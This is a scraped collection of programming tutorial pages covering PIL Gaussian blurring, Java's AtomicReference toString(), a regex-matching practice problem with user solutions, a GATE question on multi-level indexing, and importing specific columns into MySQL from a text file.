from PIL import Image, ImageFilter image = Image.open(r"FILE_PATH") # Cropping the image smol_image = image.crop((0, 0, 150, 150)) # Blurring on the cropped imageblurred_image = smol_image.filter(ImageFilter.GaussianBlur) # Pasting the blurred image on the original imageimage.paste(blurred_image, (0,0)) # Displaying the imageimage.save('output.png')
Output:
Only the top left region of the image blurred
Image-Processing
Picked
Python-pil
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Install PIP on Windows ?
How to drop one or multiple columns in Pandas Dataframe
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | Pandas dataframe.groupby()
Defaultdict in Python
Python | Get unique values from a list
Python Classes and Objects
Python | os.path.join() method
Create a directory in Python
|
[
{
"code": null,
"e": 23925,
"s": 23897,
"text": "\n26 Dec, 2020"
},
{
"code": null,
"e": 24630,
"s": 23925,
"text": "A Gaussian Filter is a low pass filter used for reducing noise (high frequency components) and blurring regions of an image. The filter is implemented as an Odd sized Symmetric Kernel (DIP version of a Matrix) which is passed through each pixel of the Region of Interest to get the desired effect. The kernel is not hard towards drastic color changed (edges) due to it the pixels towards the center of the kernel having more weightage towards the final value then the periphery. A Gaussian Filter could be considered as an approximation of the Gaussian Function (mathematics). In this article we will learn methods of utilizing Gaussian Filter to reduce noise in images using Python programming language."
},
{
"code": null,
"e": 24687,
"s": 24630,
"text": "We would be using the following image for demonstration:"
},
{
"code": null,
"e": 24733,
"s": 24687,
"text": "A screenshot of a segment of windows explorer"
},
{
"code": null,
"e": 25149,
"s": 24733,
"text": "In the process of using Gaussian Filter on an image we firstly define the size of the Kernel/Matrix that would be used for demising the image. The sizes are generally odd numbers, i.e. the overall results can be computed on the central pixel. Also the Kernels are symmetric & therefore have the same number of rows and column. The values inside the kernel are computed by the Gaussian function, which is as follows:"
},
{
"code": null,
"e": 25181,
"s": 25149,
"text": "2 Dimensional gaussian function"
},
{
"code": null,
"e": 25188,
"s": 25181,
"text": "Where,"
},
{
"code": null,
"e": 25211,
"s": 25188,
"text": "x → X coordinate value"
},
{
"code": null,
"e": 25234,
"s": 25211,
"text": "y → Y coordinate value"
},
{
"code": null,
"e": 25282,
"s": 25234,
"text": "???? → Mathematical Constant PI (value = 3.13)"
},
{
"code": null,
"e": 25305,
"s": 25282,
"text": "σ → Standard Deviation"
},
{
"code": null,
"e": 25521,
"s": 25305,
"text": "Using the above function a gaussian kernel of any size can be calculated, by providing it with appropriate values. A 3×3 Gaussian Kernel Approximation(two-dimensional) with Standard Deviation = 1, appears as follows"
},
{
"code": null,
"e": 25692,
"s": 25521,
"text": "We would be using PIL (Python Imaging Library) function named filter() to pass our whole image through a predefined Gaussian kernel. The function help page is as follows:"
},
{
"code": null,
"e": 25716,
"s": 25692,
"text": "Syntax: Filter(Kernel) "
},
{
"code": null,
"e": 25819,
"s": 25716,
"text": "Takes in a kernel (predefined or custom) and each pixel of the image through it (Kernel Convolution). "
},
{
"code": null,
"e": 25844,
"s": 25819,
"text": "Parameter: Filter Kernel"
},
{
"code": null,
"e": 25865,
"s": 25844,
"text": "Return: Image Object"
},
{
"code": null,
"e": 25939,
"s": 25865,
"text": "In the following example, we would be blurring the aforementioned image. "
},
{
"code": null,
"e": 25947,
"s": 25939,
"text": "Python3"
},
{
"code": "# ImageFilter for using filter() functionfrom PIL import Image, ImageFilter # Opening the image # (R prefixed to string in order to deal with '\\' in paths)image = Image.open(r\"IMAGE_PATH\") # Blurring image by sending the ImageFilter.# GaussianBlur predefined kernel argumentimage = image.filter(ImageFilter.GaussianBlur) # Displaying the imageimage.show()",
"e": 26306,
"s": 25947,
"text": null
},
{
"code": null,
"e": 26314,
"s": 26306,
"text": "Output:"
},
{
"code": null,
"e": 26328,
"s": 26314,
"text": "Blurred Image"
},
{
"code": null,
"e": 26341,
"s": 26328,
"text": "Explanation:"
},
{
"code": null,
"e": 26785,
"s": 26341,
"text": "Firstly we imported the Image and ImageFilter (for using filter()) modules of the PIL library. Then we created an image object by opening the image at the path IMAGE_PATH (User defined). After which we filtered the image through the filter function, and providing ImageFilter.GaussianBlur (predefined in the ImageFilter module) as an argument to it. The kernel dimensions of ImageFilter.GaussianBlur is 5×5. In the end we displayed the image. "
},
{
"code": null,
"e": 26930,
"s": 26785,
"text": "Note: The size of kernel could be manipulated by passing as parameter (optional) the radius of the kernel. This changes the following line from."
},
{
"code": null,
"e": 26977,
"s": 26930,
"text": "image = image.filter(ImageFilter.GaussianBlur)"
},
{
"code": null,
"e": 26980,
"s": 26977,
"text": "to"
},
{
"code": null,
"e": 27037,
"s": 26980,
"text": "image = image.filter(ImageFilter.GaussianBlur(radius=x))"
},
{
"code": null,
"e": 27117,
"s": 27037,
"text": "where x => blur radius (size of kernel in one direction, from the center pixel)"
},
{
"code": null,
"e": 27461,
"s": 27117,
"text": "Instead of the whole image, certain sections of it could also be selectively blurred. This could be performed by firstly cropping the desired region of the image, and then passing it through the filter() function. The output of which (the blurred sub image) would be pasted on top of the original image. This would give us the desired output. "
},
{
"code": null,
"e": 27495,
"s": 27461,
"text": "The code for which is as follows:"
},
{
"code": null,
"e": 27503,
"s": 27495,
"text": "Python3"
},
{
"code": "from PIL import Image, ImageFilter image = Image.open(r\"FILE_PATH\") # Cropping the image smol_image = image.crop((0, 0, 150, 150)) # Blurring on the cropped imageblurred_image = smol_image.filter(ImageFilter.GaussianBlur) # Pasting the blurred image on the original imageimage.paste(blurred_image, (0,0)) # Displaying the imageimage.save('output.png')",
"e": 27860,
"s": 27503,
"text": null
},
{
"code": null,
"e": 27868,
"s": 27860,
"text": "Output:"
},
{
"code": null,
"e": 27914,
"s": 27868,
"text": "Only the top left region of the image blurred"
},
{
"code": null,
"e": 27931,
"s": 27914,
"text": "Image-Processing"
},
{
"code": null,
"e": 27938,
"s": 27931,
"text": "Picked"
},
{
"code": null,
"e": 27949,
"s": 27938,
"text": "Python-pil"
},
{
"code": null,
"e": 27956,
"s": 27949,
"text": "Python"
},
{
"code": null,
"e": 28054,
"s": 27956,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 28063,
"s": 28054,
"text": "Comments"
},
{
"code": null,
"e": 28076,
"s": 28063,
"text": "Old Comments"
},
{
"code": null,
"e": 28108,
"s": 28076,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 28164,
"s": 28108,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 28206,
"s": 28164,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 28248,
"s": 28206,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 28284,
"s": 28248,
"text": "Python | Pandas dataframe.groupby()"
},
{
"code": null,
"e": 28306,
"s": 28284,
"text": "Defaultdict in Python"
},
{
"code": null,
"e": 28345,
"s": 28306,
"text": "Python | Get unique values from a list"
},
{
"code": null,
"e": 28372,
"s": 28345,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 28403,
"s": 28372,
"text": "Python | os.path.join() method"
}
] |
AtomicReference toString() method in Java with Examples - GeeksforGeeks
|
27 Dec, 2019
The toString() method of a AtomicReference class is used to return the String representation of the current value of AtomicReference object.
Syntax:
public String toString()
Parameters: This method accepts nothing.
Return value: This method returns the String representation of the current value.
Below programs illustrate the toString() method:Program 1:
// Java program to demonstrate// AtomicReference.toString() method import java.util.concurrent.atomic.AtomicReference; public class GFG { public static void main(String[] args) { // create an atomic reference object. AtomicReference<Double> ref = new AtomicReference<Double>(); // set some value ref.set(1234.00); // apply toString() System.out.println("Value = " + ref.toString()); }}
Value = 1234.0
Program 2:
// Java program to demonstrate// AtomicReference.toString() method import java.util.concurrent.atomic.AtomicReference; public class GFG { public static void main(String[] args) { // create an atomic reference object // which stores String. AtomicReference<String> ref = new AtomicReference<String>(); // set some value ref.set("GFG"); // apply toString() System.out.println("Value = " + ref.toString()); }}
Value = GFG
References: https://docs.oracle.com/javase/10/docs/api/java/util/concurrent/atomic/AtomicReference.html#toString()
Java-Functions
Java-util-concurrent-atomic package
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Functional Interfaces in Java
Stream In Java
Constructors in Java
Different ways of Reading a text file in Java
Exceptions in Java
Generics in Java
Comparator Interface in Java with Examples
Strings in Java
How to remove an element from ArrayList in Java?
Difference between Abstract Class and Interface in Java
|
[
{
"code": null,
"e": 23557,
"s": 23529,
"text": "\n27 Dec, 2019"
},
{
"code": null,
"e": 23698,
"s": 23557,
"text": "The toString() method of a AtomicReference class is used to return the String representation of the current value of AtomicReference object."
},
{
"code": null,
"e": 23706,
"s": 23698,
"text": "Syntax:"
},
{
"code": null,
"e": 23732,
"s": 23706,
"text": "public String toString()\n"
},
{
"code": null,
"e": 23773,
"s": 23732,
"text": "Parameters: This method accepts nothing."
},
{
"code": null,
"e": 23855,
"s": 23773,
"text": "Return value: This method returns the String representation of the current value."
},
{
"code": null,
"e": 23914,
"s": 23855,
"text": "Below programs illustrate the toString() method:Program 1:"
},
{
"code": "// Java program to demonstrate// AtomicReference.toString() method import java.util.concurrent.atomic.AtomicReference; public class GFG { public static void main(String[] args) { // create an atomic reference object. AtomicReference<Double> ref = new AtomicReference<Double>(); // set some value ref.set(1234.00); // apply toString() System.out.println(\"Value = \" + ref.toString()); }}",
"e": 24396,
"s": 23914,
"text": null
},
{
"code": null,
"e": 24412,
"s": 24396,
"text": "Value = 1234.0\n"
},
{
"code": null,
"e": 24423,
"s": 24412,
"text": "Program 2:"
},
{
"code": "// Java program to demonstrate// AtomicReference.toString() method import java.util.concurrent.atomic.AtomicReference; public class GFG { public static void main(String[] args) { // create an atomic reference object // which stores String. AtomicReference<String> ref = new AtomicReference<String>(); // set some value ref.set(\"GFG\"); // apply toString() System.out.println(\"Value = \" + ref.toString()); }}",
"e": 24934,
"s": 24423,
"text": null
},
{
"code": null,
"e": 24948,
"s": 24934,
"text": "Value = GFG\n"
},
{
"code": null,
"e": 25063,
"s": 24948,
"text": "References: https://docs.oracle.com/javase/10/docs/api/java/util/concurrent/atomic/AtomicReference.html#toString()"
},
{
"code": null,
"e": 25078,
"s": 25063,
"text": "Java-Functions"
},
{
"code": null,
"e": 25114,
"s": 25078,
"text": "Java-util-concurrent-atomic package"
},
{
"code": null,
"e": 25119,
"s": 25114,
"text": "Java"
},
{
"code": null,
"e": 25124,
"s": 25119,
"text": "Java"
},
{
"code": null,
"e": 25222,
"s": 25124,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 25231,
"s": 25222,
"text": "Comments"
},
{
"code": null,
"e": 25244,
"s": 25231,
"text": "Old Comments"
},
{
"code": null,
"e": 25274,
"s": 25244,
"text": "Functional Interfaces in Java"
},
{
"code": null,
"e": 25289,
"s": 25274,
"text": "Stream In Java"
},
{
"code": null,
"e": 25310,
"s": 25289,
"text": "Constructors in Java"
},
{
"code": null,
"e": 25356,
"s": 25310,
"text": "Different ways of Reading a text file in Java"
},
{
"code": null,
"e": 25375,
"s": 25356,
"text": "Exceptions in Java"
},
{
"code": null,
"e": 25392,
"s": 25375,
"text": "Generics in Java"
},
{
"code": null,
"e": 25435,
"s": 25392,
"text": "Comparator Interface in Java with Examples"
},
{
"code": null,
"e": 25451,
"s": 25435,
"text": "Strings in Java"
},
{
"code": null,
"e": 25500,
"s": 25451,
"text": "How to remove an element from ArrayList in Java?"
}
] |
RegEx matching | Practice | GeeksforGeeks
|
Given a pattern string and a test string, If the pattern is preceded by a ^, the pattern(excluding the ^) will be matched with the starting position of the text string. Similarly, if it is preceded by a $, the pattern(excluding the ^) will be matched with the ending position of the text string. If no such markers are present, it will be checked whether pattern is a substring of test.
Example 1:
Input:
P = "^coal"
S = "coaltar"
Output:
1
Explanation:
The pattern "coal" is present at the
beginning of the string, so Output is 1.
Example 2:
Input:
P = "tar$"
S = "coaltar"
Output:
1
Explanation:
The pattern "tar" is present at the
end of the string, so Output is 1.
Example 3:
Input:
P = "rat"
S = "algorate"
Output:
1
Explanation:
The pattern "rat" is present as a
substring of the string S,
so Output is 1.
Example 4:
Input:
P = "abcd"
S = "efgh"
Output:
0
Explanation:
There is no substring which is equal
to P in string S, so output is 0.
Your Task:
You don't need to read input or print anything. Your task is to complete the function isPatternPresent() which takes Strings P and S as input and returns 0 or 1.
Expected Time Complexity: O(|P|*|S|)
Expected Auxiliary Space: O(1)
Constraints:
1 <= |S| <= 105
1 <= |P| <= 10
String S may contain both Uppercase and Lowercase letters.
+1
aloksinghbais022 weeks ago
C++ solution having time complexity as O(|S|*|P|) and space complexity as O(1) is as follows :-
Execution Time :- 0.02 / 1.04 sec
int isPatternPresent(string S, string P) { if(P.length() > S.length()+1) return (0); if(P.find("^") != -1){ for(int i = 0,j = 1; i < S.length() && j < P.length(); i++,j++){ if(S[i] != P[j]) return (false); } return (true); } else if(P.find("$") != -1){ for(int i = S.length()-1, j = P.length()-2; i >= 0 && j >= 0; i--,j--){ if(S[i] != P[j]) return (false); } return (true); } return S.find(P) != -1 ? 1 : 0; }
0
neeleshkumar12 months ago
int isPatternPresent(string S, string P) { int m=S.size(),n=P.size(); if(n>m)return 0; if(P[0]=='^'){ P=P.substr(1); S=S.substr(0,n-1); } else if(P[n-1]=='$'){ P=P.substr(0,n-1); S=S.substr(m-n+1,n); } if(S.find(P)!=string::npos) return 1; else return 0; }
0
akkeshri140420012 months ago
int isPatternPresent(string S, string P) { // code here int n=S.length(); int m=P.length(); if(m>n) return 0; if(P[0]=='^') { string s=P.substr(1); string c=S.substr(0,m-1); return s==c? 1:0; } else if(P[m-1]=='$') { string s=P.substr(0,m-1); string c=S.substr(n-m+1); return s==c? 1:0; } else{ for(int i=0;i<n;i++){ if(S.substr(i,m)==P){ return 1; } } return 0; } }
0
vishalchaudhary19753 months ago
Simple java Solution using REGEX
static int isPatternPresent(String s, String p) { // code here int n1=s.length(); int n2=p.length(); char c=p.charAt(0); char v=p.charAt(n2-1); if(c=='^'){ String temp1=p.substring(1,n2); String regex=temp1+"[a-zA-Z]+"; if(s.matches(regex)){ return 1; } return 0; } else if(v=='$'){ String temp2=p.substring(0,n2-1); String regex="[a-zA-Z]+"+temp2; if(s.matches(regex)){ return 1; } return 0; } else{ if(s.contains(p)){ return 1; } return 0; }
+2
harmlesspotato4 months ago
class Solution {
public:
int isPatternPresent(string S, string P) {
string match="";
int i=0;
int n=S.length();
int m=P.length();
if(m>n)
return 0;
if(P[0]=='^')
{
string s=P.substr(1,m);
string c=S.substr(0,m-1);
return s==c? 1:0;
}
else if(P[m-1]=='$')
{
string s=P.substr(0,m-1);
string c=S.substr(n-m+1,n);
return s==c? 1:0;
}
else{
return S.find(P)!=-1;
}
}
};
0
shisoni4559997 months ago
in a given input “G” is present ..
0
ANAS MALVAT9 months ago
ANAS MALVAT
if(p[0] == '^'){ p = p.substr(1,p.length()); if(s.substr(0,p.length()) == p) { return 1; } return 0; } else if(p[p.length() - 1] == '$') { p = p.substr(0,p.length() - 1); if(s.substr(s.length() - p.length(),s.length()) == p) { return 1; } return 0; } else{ return s.find(p) != -1; }
0
Baskaran S2 years ago
Baskaran S
Simple Java Solution :Execution Time:0.16Link
0
sahil Malik2 years ago
sahil Malik
c++ with 3 separate functionshttps://ide.geeksforgeeks.o...
0
BHASKAR JHA2 years ago
BHASKAR JHA
java solun
https://ide.geeksforgeeks.o...
We strongly recommend solving this problem on your own before viewing its editorial. Do you still
want to view the editorial?
Login to access your submissions.
Problem
Contest
Reset the IDE using the second button on the top right corner.
Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values.
Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints.
You can access the hints to get an idea about what is expected of you as well as the final solution code.
You can view the solutions submitted by other users from the submission tab.
|
[
{
"code": null,
"e": 625,
"s": 238,
"text": "Given a pattern string and a test string, If the pattern is preceded by a ^, the pattern(excluding the ^) will be matched with the starting position of the text string. Similarly, if it is preceded by a $, the pattern(excluding the ^) will be matched with the ending position of the text string. If no such markers are present, it will be checked whether pattern is a substring of test."
},
{
"code": null,
"e": 638,
"s": 627,
"text": "Example 1:"
},
{
"code": null,
"e": 773,
"s": 638,
"text": "Input:\nP = \"^coal\"\nS = \"coaltar\"\nOutput:\n1\nExplanation:\nThe pattern \"coal\" is present at the\nbeginning of the string, so Output is 1.\n"
},
{
"code": null,
"e": 784,
"s": 773,
"text": "Example 2:"
},
{
"code": null,
"e": 911,
"s": 784,
"text": "Input:\nP = \"tar$\"\nS = \"coaltar\"\nOutput:\n1\nExplanation: \nThe pattern \"tar\" is present at the\nend of the string, so Output is 1."
},
{
"code": null,
"e": 922,
"s": 911,
"text": "Example 3:"
},
{
"code": null,
"e": 1054,
"s": 922,
"text": "Input:\nP = \"rat\"\nS = \"algorate\"\nOutput:\n1\nExplanation:\nThe pattern \"rat\" is present as a\nsubstring of the string S,\nso Output is 1."
},
{
"code": null,
"e": 1065,
"s": 1054,
"text": "Example 4:"
},
{
"code": null,
"e": 1188,
"s": 1065,
"text": "Input:\nP = \"abcd\"\nS = \"efgh\"\nOutput:\n0\nExplanation:\nThere is no substring which is equal\nto P in string S, so output is 0."
},
{
"code": null,
"e": 1363,
"s": 1190,
"text": "Your Task:\nYou don't need to read input or print anything. Your task is to complete the function isPatternPresent() which takes Strings P and S as input and returns 0 or 1."
},
{
"code": null,
"e": 1433,
"s": 1365,
"text": "Expected Time Complexity: O(|P|*|S|)\nExpected Auxiliary Space: O(1)"
},
{
"code": null,
"e": 1538,
"s": 1435,
"text": "Constraints:\n1 <= |S| <= 105\n1 <= |P| <= 10\nString S may contain both Uppercase and Lowercase letters."
},
{
"code": null,
"e": 1541,
"s": 1538,
"text": "+1"
},
{
"code": null,
"e": 1568,
"s": 1541,
"text": "aloksinghbais022 weeks ago"
},
{
"code": null,
"e": 1665,
"s": 1568,
"text": "C++ solution having time complexity as O(|S|*|P|) and space complexity as O(1) is as follows :- "
},
{
"code": null,
"e": 1701,
"s": 1667,
"text": "Execution Time :- 0.02 / 1.04 sec"
},
{
"code": null,
"e": 2292,
"s": 1703,
"text": "int isPatternPresent(string S, string P) { if(P.length() > S.length()+1) return (0); if(P.find(\"^\") != -1){ for(int i = 0,j = 1; i < S.length() && j < P.length(); i++,j++){ if(S[i] != P[j]) return (false); } return (true); } else if(P.find(\"$\") != -1){ for(int i = S.length()-1, j = P.length()-2; i >= 0 && j >= 0; i--,j--){ if(S[i] != P[j]) return (false); } return (true); } return S.find(P) != -1 ? 1 : 0; }"
},
{
"code": null,
"e": 2296,
"s": 2294,
"text": "0"
},
{
"code": null,
"e": 2322,
"s": 2296,
"text": "neeleshkumar12 months ago"
},
{
"code": null,
"e": 2763,
"s": 2322,
"text": " int isPatternPresent(string S, string P) { int m=S.size(),n=P.size(); if(n>m)return 0; if(P[0]=='^'){ P=P.substr(1); S=S.substr(0,n-1); } else if(P[n-1]=='$'){ P=P.substr(0,n-1); S=S.substr(m-n+1,n); } if(S.find(P)!=string::npos) return 1; else return 0; }"
},
{
"code": null,
"e": 2765,
"s": 2763,
"text": "0"
},
{
"code": null,
"e": 2794,
"s": 2765,
"text": "akkeshri140420012 months ago"
},
{
"code": null,
"e": 3401,
"s": 2794,
"text": "int isPatternPresent(string S, string P) { // code here int n=S.length(); int m=P.length(); if(m>n) return 0; if(P[0]=='^') { string s=P.substr(1); string c=S.substr(0,m-1); return s==c? 1:0; } else if(P[m-1]=='$') { string s=P.substr(0,m-1); string c=S.substr(n-m+1); return s==c? 1:0; } else{ for(int i=0;i<n;i++){ if(S.substr(i,m)==P){ return 1; } } return 0; } }"
},
{
"code": null,
"e": 3403,
"s": 3401,
"text": "0"
},
{
"code": null,
"e": 3435,
"s": 3403,
"text": "vishalchaudhary19753 months ago"
},
{
"code": null,
"e": 3468,
"s": 3435,
"text": "Simple java Solution using REGEX"
},
{
"code": null,
"e": 4177,
"s": 3468,
"text": " static int isPatternPresent(String s, String p) { // code here int n1=s.length(); int n2=p.length(); char c=p.charAt(0); char v=p.charAt(n2-1); if(c=='^'){ String temp1=p.substring(1,n2); String regex=temp1+\"[a-zA-Z]+\"; if(s.matches(regex)){ return 1; } return 0; } else if(v=='$'){ String temp2=p.substring(0,n2-1); String regex=\"[a-zA-Z]+\"+temp2; if(s.matches(regex)){ return 1; } return 0; } else{ if(s.contains(p)){ return 1; } return 0; }"
},
{
"code": null,
"e": 4180,
"s": 4177,
"text": "+2"
},
{
"code": null,
"e": 4207,
"s": 4180,
"text": "harmlesspotato4 months ago"
},
{
"code": null,
"e": 4815,
"s": 4207,
"text": "\nclass Solution {\n public:\n int isPatternPresent(string S, string P) {\n string match=\"\";\n int i=0;\n int n=S.length();\n int m=P.length();\n if(m>n)\n return 0;\n if(P[0]=='^')\n {\n string s=P.substr(1,m);\n string c=S.substr(0,m-1);\n \n return s==c? 1:0;\n }\n else if(P[m-1]=='$')\n {\n string s=P.substr(0,m-1);\n string c=S.substr(n-m+1,n);\n \n return s==c? 1:0;\n }\n else{\n return S.find(P)!=-1;\n }\n }\n \n};\n\n"
},
{
"code": null,
"e": 4817,
"s": 4815,
"text": "0"
},
{
"code": null,
"e": 4843,
"s": 4817,
"text": "shisoni4559997 months ago"
},
{
"code": null,
"e": 4878,
"s": 4843,
"text": "in a given input “G” is present .."
},
{
"code": null,
"e": 4880,
"s": 4878,
"text": "0"
},
{
"code": null,
"e": 4904,
"s": 4880,
"text": "ANAS MALVAT9 months ago"
},
{
"code": null,
"e": 4916,
"s": 4904,
"text": "ANAS MALVAT"
},
{
"code": null,
"e": 5416,
"s": 4916,
"text": " if(p[0] == '^'){ p = p.substr(1,p.length()); if(s.substr(0,p.length()) == p) { return 1; } return 0; } else if(p[p.length() - 1] == '$') { p = p.substr(0,p.length() - 1); if(s.substr(s.length() - p.length(),s.length()) == p) { return 1; } return 0; } else{ return s.find(p) != -1; }"
},
{
"code": null,
"e": 5418,
"s": 5416,
"text": "0"
},
{
"code": null,
"e": 5440,
"s": 5418,
"text": "Baskaran S2 years ago"
},
{
"code": null,
"e": 5451,
"s": 5440,
"text": "Baskaran S"
},
{
"code": null,
"e": 5497,
"s": 5451,
"text": "Simple Java Solution :Execution Time:0.16Link"
},
{
"code": null,
"e": 5499,
"s": 5497,
"text": "0"
},
{
"code": null,
"e": 5522,
"s": 5499,
"text": "sahil Malik2 years ago"
},
{
"code": null,
"e": 5534,
"s": 5522,
"text": "sahil Malik"
},
{
"code": null,
"e": 5594,
"s": 5534,
"text": "c++ with 3 separate functionshttps://ide.geeksforgeeks.o..."
},
{
"code": null,
"e": 5596,
"s": 5594,
"text": "0"
},
{
"code": null,
"e": 5619,
"s": 5596,
"text": "BHASKAR JHA2 years ago"
},
{
"code": null,
"e": 5631,
"s": 5619,
"text": "BHASKAR JHA"
},
{
"code": null,
"e": 5642,
"s": 5631,
"text": "java solun"
},
{
"code": null,
"e": 5673,
"s": 5642,
"text": "https://ide.geeksforgeeks.o..."
},
{
"code": null,
"e": 5819,
"s": 5673,
"text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?"
},
{
"code": null,
"e": 5855,
"s": 5819,
"text": " Login to access your submissions. "
},
{
"code": null,
"e": 5865,
"s": 5855,
"text": "\nProblem\n"
},
{
"code": null,
"e": 5875,
"s": 5865,
"text": "\nContest\n"
},
{
"code": null,
"e": 5938,
"s": 5875,
"text": "Reset the IDE using the second button on the top right corner."
},
{
"code": null,
"e": 6086,
"s": 5938,
"text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values."
},
{
"code": null,
"e": 6294,
"s": 6086,
"text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints."
},
{
"code": null,
"e": 6400,
"s": 6294,
"text": "You can access the hints to get an idea about what is expected of you as well as the final solution code."
}
] |
GATE | GATE CS 2008 | Question 70 - GeeksforGeeks
|
14 Feb, 2018
Consider a file of 16384 records. Each record is 32 bytes long and its key field is of size 6 bytes. The file is ordered on a non-key field, and the file organization is unspanned. The file is stored in a file system with block size 1024 bytes, and the size of a block pointer is 10 bytes. If the secondary index is built on the key field of the file, and a multi-level index scheme is used to store the secondary index, the number of first-level and second-level blocks in the multi-level index are respectively.(A) 8 and 0(B) 128 and 6(C) 256 and 4(D) 512 and 5Answer: (C)Explanation: Indexing mechanisms are used to optimize certain accesses to data (records) managed in files. For example, the author catalog in a library is a type of index. An Index File consists of records (called index entries) of the form
-----------------------------------
| Search-Key | Pointer to Block |
-----------------------------------
If even outer index is too large to fit in main memory, yet another level of index can be created, and so on.
Number of records in file = 16384
Record size = 32 bytes
Key Size = 6 bytes
Block Size on file system = 1024 bytes
Size of Block Pointer = 10 bytes
Size of a record or index Entry = 10 + 6 = 16
Number of blocks in first level = (Number of records in file)/
(Disk Block Size)
= (16384 * 16)/(1024)
= 16 * 16
= 256
In second level, there will be 256 * 16 entries.
Number of blocks in second level = (Number of entries) /
(Block Size)
= (256 * 16) / 1024
= 4
Quiz of this Question
GATE-CS-2008
GATE-GATE CS 2008
GATE
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
GATE | GATE-CS-2014-(Set-3) | Question 38
GATE | GATE-IT-2004 | Question 83
GATE | GATE CS 2018 | Question 37
GATE | GATE-CS-2016 (Set 2) | Question 48
GATE | GATE-CS-2016 (Set 1) | Question 65
GATE | GATE-CS-2016 (Set 1) | Question 63
GATE | GATE-CS-2007 | Question 17
GATE | GATE-IT-2004 | Question 12
GATE | GATE-CS-2014-(Set-3) | Question 65
GATE | GATE-CS-2007 | Question 64
|
[
{
"code": null,
"e": 24308,
"s": 24280,
"text": "\n14 Feb, 2018"
},
{
"code": null,
"e": 25123,
"s": 24308,
"text": "Consider a file of 16384 records. Each record is 32 bytes long and its key field is of size 6 bytes. The file is ordered on a non-key field, and the file organization is unspanned. The file is stored in a file system with block size 1024 bytes, and the size of a block pointer is 10 bytes. If the secondary index is built on the key field of the file, and a multi-level index scheme is used to store the secondary index, the number of first-level and second-level blocks in the multi-level index are respectively.(A) 8 and 0(B) 128 and 6(C) 256 and 4(D) 512 and 5Answer: (C)Explanation: Indexing mechanisms are used to optimize certain accesses to data (records) managed in files. For example, the author catalog in a library is a type of index. An Index File consists of records (called index entries) of the form"
},
{
"code": null,
"e": 25232,
"s": 25123,
"text": "-----------------------------------\n| Search-Key | Pointer to Block |\n----------------------------------- "
},
{
"code": null,
"e": 25342,
"s": 25232,
"text": "If even outer index is too large to fit in main memory, yet another level of index can be created, and so on."
},
{
"code": null,
"e": 26036,
"s": 25342,
"text": "Number of records in file = 16384\n\nRecord size = 32 bytes\nKey Size = 6 bytes\nBlock Size on file system = 1024 bytes\nSize of Block Pointer = 10 bytes\n\nSize of a record or index Entry = 10 + 6 = 16 \n\nNumber of blocks in first level = (Number of records in file)/\n (Disk Block Size)\n = (16384 * 16)/(1024)\n = 16 * 16\n = 256\n\nIn second level, there will be 256 * 16 entries.\nNumber of blocks in second level = (Number of entries) / \n (Block Size)\n = (256 * 16) / 1024\n = 4"
},
{
"code": null,
"e": 26058,
"s": 26036,
"text": "Quiz of this Question"
},
{
"code": null,
"e": 26071,
"s": 26058,
"text": "GATE-CS-2008"
},
{
"code": null,
"e": 26089,
"s": 26071,
"text": "GATE-GATE CS 2008"
},
{
"code": null,
"e": 26094,
"s": 26089,
"text": "GATE"
},
{
"code": null,
"e": 26192,
"s": 26094,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26201,
"s": 26192,
"text": "Comments"
},
{
"code": null,
"e": 26214,
"s": 26201,
"text": "Old Comments"
},
{
"code": null,
"e": 26256,
"s": 26214,
"text": "GATE | GATE-CS-2014-(Set-3) | Question 38"
},
{
"code": null,
"e": 26290,
"s": 26256,
"text": "GATE | GATE-IT-2004 | Question 83"
},
{
"code": null,
"e": 26324,
"s": 26290,
"text": "GATE | GATE CS 2018 | Question 37"
},
{
"code": null,
"e": 26366,
"s": 26324,
"text": "GATE | GATE-CS-2016 (Set 2) | Question 48"
},
{
"code": null,
"e": 26408,
"s": 26366,
"text": "GATE | GATE-CS-2016 (Set 1) | Question 65"
},
{
"code": null,
"e": 26450,
"s": 26408,
"text": "GATE | GATE-CS-2016 (Set 1) | Question 63"
},
{
"code": null,
"e": 26484,
"s": 26450,
"text": "GATE | GATE-CS-2007 | Question 17"
},
{
"code": null,
"e": 26518,
"s": 26484,
"text": "GATE | GATE-IT-2004 | Question 12"
},
{
"code": null,
"e": 26560,
"s": 26518,
"text": "GATE | GATE-CS-2014-(Set-3) | Question 65"
}
] |
How can we import only specific columns from the text file, into MySQL table?
|
Suppose if we have the values for some specific columns in the text file and MySQL table, in which we want to import the data, is having an extra column(s) then by mentioning the names of the columns in the query we can upload the values of those specific columns only. It can be understood with the help of the following example −
Suppose we are having the values of columns ‘id’, ‘Name’ and ‘Salary’ only in the text file as follows −
105,Chum,11000
106,Danny,12000
Now while importing this text file into MySQL table then we need to mention the names of the columns for which we are having the values in a text file in the query as follows −
mysql> LOAD DATA LOCAL INFILE 'd:\A.txt' INTO table employee9_tbl FIELDS TERMINATED BY ','(id, Name, Salary);
Query OK, 2 rows affected (0.04 sec)
Records: 2 Deleted: 0 Skipped: 0 Warnings: 0
mysql> Select * from employee9_tbl;
+------+----------------+----------+--------+
| Id | Name | Country | Salary |
+------+----------------+----------+--------+
| 105 | Chum | NULL | 11000 |
| 106 | Danny | NULL | 12000 |
+------+----------------+----------+--------+
